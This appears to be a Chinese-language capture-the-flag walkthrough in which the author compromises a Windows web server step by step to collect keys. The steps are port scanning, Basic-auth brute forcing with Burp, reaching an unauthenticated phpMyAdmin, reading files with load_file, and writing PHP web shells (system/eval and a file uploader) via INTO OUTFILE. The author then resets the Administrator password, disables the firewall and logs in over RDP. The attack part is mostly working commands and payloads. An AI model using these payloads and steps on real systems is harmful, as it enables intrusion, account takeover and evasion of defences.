nmap 扫描后台 39.100.119.37

扫描所有端口： nmap -p- 39.100.119.37

获得端口：30125

http://39.100.119.37:30125/

web访问是一个登录界面

爆破 http://39.100.119.37:30125/

抓包：

```
GET / HTTP/1.1
Host: 39.100.119.37:30125
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5kv1qhl48fmj0em41it4enug8s
X-Forwarded-For: 8.8.8.8
Connection: close
Authorization: Basic MTExOjIyMg==
```

MTExOjIyMg== 是用户名：密码 编码结果

ctrl +b 编码

ctrl +shift +b 解码

burp爆破：使用字典爆破

添加前缀，前缀编码

２００状态：YWRtaW46cXdlcnR5

解码得：admin:qwerty

登录成功 http://39.100.119.37:30125/

查看源代码，发现只是一个静态页面，无ｐｏｓｔ，ｇｅｔ请求操作 巨坑！！！

带header的 继续brup扫描后台：注意 / 编码问题，brup去掉 / 等的url编码

http://39.100.119.37:30125/

```
GET §/§ HTTP/1.1
Host: 39.100.119.37:30125
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5kv1qhl48fmj0em41it4enug8s
Authorization: Basic YWRtaW46cXdlcnR5
X-Forwarded-For: 8.8.8.8
Connection: close
If-Modified-Since: Fri, 11 Oct 2019 22:14:02 GMT
If-None-Match: "10937-57d-d5ec46ae"
Cache-Control: max-age=0
```

发现200： http://39.100.119.37:30125/news/

http://39.100.119.37:30125/rebots.txt

robots.txt中拿到 key6: 5sdhe4ne

访问发现是个留言界面，查看源码发现：

sRC= http://39.100.119.37:30125/key.php

访问后发现没有key，应该是注释了

brup扫描后台： http://39.100.119.37:30125/news/

发现200状态：

http://39.100.119.37:30125/news//phpmyadmin/

访问成功，不需要用户名和密码登录

进入php数据库管理界面

mysql执行命令

select @@basedir; -->获得基础地址 c:\wamp\mysql\

尝试加载key.php文件

```
select load_file('c:\wamp\www\key.php');
select load_file('c:\wamp\key.php');
select load_file('c:\www\key.php');
```

发现值为0

可能是数据库 \ 被转义了 修改

```
select load_file('c:/wamp/www/key.php');
select load_file('c:/wamp/key.php');
select load_file('c:/www/key.php');
```

获得key： key7:ped5nd3w

写入一句话

```
select '<?php system("$_GET[cmd]") ?>' into outfile 'c:/wamp/www/ztmy2.php'
```

或者：

```
select '<?php eval("$_GET[cmd]") ?>' into outfile 'c:/wamp/www/ztmy2.php'
```

查看一句话是否写入：select load_file('c:/wamp/www/ztmy2.php');

web访问：http://39.100.119.37:30125/ztmy2.php?cmd=dir

获得结果，一句话成功

这里也可以找到KEY6的文件 rebots.txt

前面sql查看os系统版本

```
select @@version_compile_os,@@version_compile_machine
```

查看用户信息

```
http://39.100.119.37:30125/ztmy2.php?cmd=net user
```

修改 Administrator 的密码,密码复杂一点，一般都有密码复杂度要求

http://39.100.119.37:30125/ztmy2.php?cmd=net user Administrator Zt12345123@

关闭防火墙

net stop firewalled

net stop sharedaccess (关闭系统自带的防火墙)

netsh firewall set opmode mode=disable 关闭系统自带的防火墙 windows2012以下使用

netsh advfilewall set publicprofile state off 关闭系统自带的防火墙 windows2012以上使用

远程连接登录即可 端口33389

桌面得到key： key8{jnc7wc2a}

注意：菜刀：需要右键先浏览网站，登录之后在文件管理，执行命令等操作

使用burp或中国蚂剑连接，加上之前burp的header

方法二：

上传文件马：

```
select "<html><body><form enctype=\"multipart/form-data\" action=\"\"
method=\"post\"><p>Local File: <input name=\"userfile\" type=\"file\"><p>Remote
File: <input name=\"remotefile\" type=\"text\"><input type=\"submit\"
value=\"Send\"></form><br><br><br><?php
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);echo
\"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];} else {echo \"No
File Uploaded\";}?></html></body>" into outfile 'c:/wamp/www/ztup.php'
```

传输一个大马，完事